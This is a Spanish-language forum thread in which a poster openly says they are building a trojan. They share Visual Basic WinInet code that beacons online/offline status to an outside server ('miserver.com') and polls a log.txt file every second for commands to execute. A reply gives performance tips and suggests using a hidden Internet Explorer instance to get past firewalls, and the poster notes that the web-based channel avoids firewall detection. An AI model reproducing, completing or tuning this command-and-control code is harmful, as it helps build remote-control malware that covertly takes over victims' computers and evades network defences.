Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.
Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt
El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...
Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...
El código es el siguiente, a ver si me podéis ayudar.
' variables generales
Dim data As String
Dim x As Boolean
' Constantes para las funciones Api
Const scUserAgent = "API-Guide test program"
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_FLAG_RELOAD = &H80000000
Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
' Crea conexión a internet
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
ByVal sAgent As String, _
ByVal lAccessType As Long, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As Long) As Long
' Abre URL
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
ByVal hInternetSession As Long, _
ByVal lpszUrl As String, _
ByVal lpszHeaders As String, _
ByVal dwHeadersLength As Long, _
ByVal dwFlags As Long, _
ByVal dwContext As Long) As Long
' Cierra conexión
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
'CONTENIDO DEL FICHERO
Private Declare Function InternetReadFile Lib "wininet" ( _
ByVal hFile As Long, _
ByVal sBuffer As String, _
ByVal lNumBytesToRead As Long, _
lNumberOfBytesRead As Long) As Integer
'Variables para recargar constantemente
Dim hOpen As Long
Dim hFile As Long
'///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
Private Sub Form_Load()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String
Url = "http://miserver/log.php?comando=online"
hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
vbNullString, vbNullString, 0)
hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
DoEvents
x = True
Timer1.Enabled = True
End Sub
'///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
Private Sub Form_Unload(Cancel As Integer)
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String
Url = "http://miserver.com/log.php?comando=offline"
hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
vbNullString, vbNullString, 0)
hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
Espera (1)
End Sub
'//////////////////////////////////////////////////////////////
Private Sub Timer1_Timer()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim sBuffer As String * 128
Dim Ret As Long
Dim str_Total As String
Dim Url As String
If x = True Then
Url = "http://miserver.com/log.txt"
hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
vbNullString, vbNullString, 0)
hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
'LEEMOS FICHERO
Call InternetReadFile(hFile, sBuffer, 128, Ret)
str_Total = sBuffer
While Ret <> 0
Call InternetReadFile(hFile, sBuffer, 128, Ret)
str_Total = str_Total & Mid(sBuffer, 1, Ret)
DoEvents
Wend
x = False
Else
'DESCARGAMOS FICHERO
hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
Call InternetReadFile(hFile, sBuffer, 128, Ret)
str_Total = sBuffer
While Ret <> 0
Call InternetReadFile(hFile, sBuffer, 128, Ret)
str_Total = str_Total & Mid(sBuffer, 1, Ret)
DoEvents
Wend
Text1.Text = str_Total
End If
End Sub
Sub Espera(Segundos As Single)
Dim ComienzoSeg As Single
Dim FinSeg As Single
ComienzoSeg = Timer
FinSeg = ComienzoSeg + Segundos
Do While FinSeg > Timer
DoEvents
If ComienzoSeg > Timer Then
FinSeg = FinSeg - 24 * 60 * 60
End If
Loop
End Sub
Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,
y gracias de antemano.
Un a cosa que podes hacer es poner Sleep 100 junto con cada DoEvents, esto ayuda a no cargar tanto el sistema, parar el timer "Timer1.Enabled = False al entrar en Timer1_Timer y reanudalo antes de salir, por que si el proceso que esta dentro tarda mucho el timer se va a disparar nuevamente antes de que tu funcion termine. Con respecto a lo demas, mantener la conexión abierta no me parece buena idea y por ultimo, si no tienes nada para detener or pasar los Firewalls este programa posiblemente sea bloqueado. Si lo que vas a hacer es nada mas que eso, una idea simple es abrir una instancia de Internet Explorer de manera oculta, y usar el shell para manejarla, como Iexplore esta habilitado en casi todas las maquinas no habria problema.
Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien.
Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos :P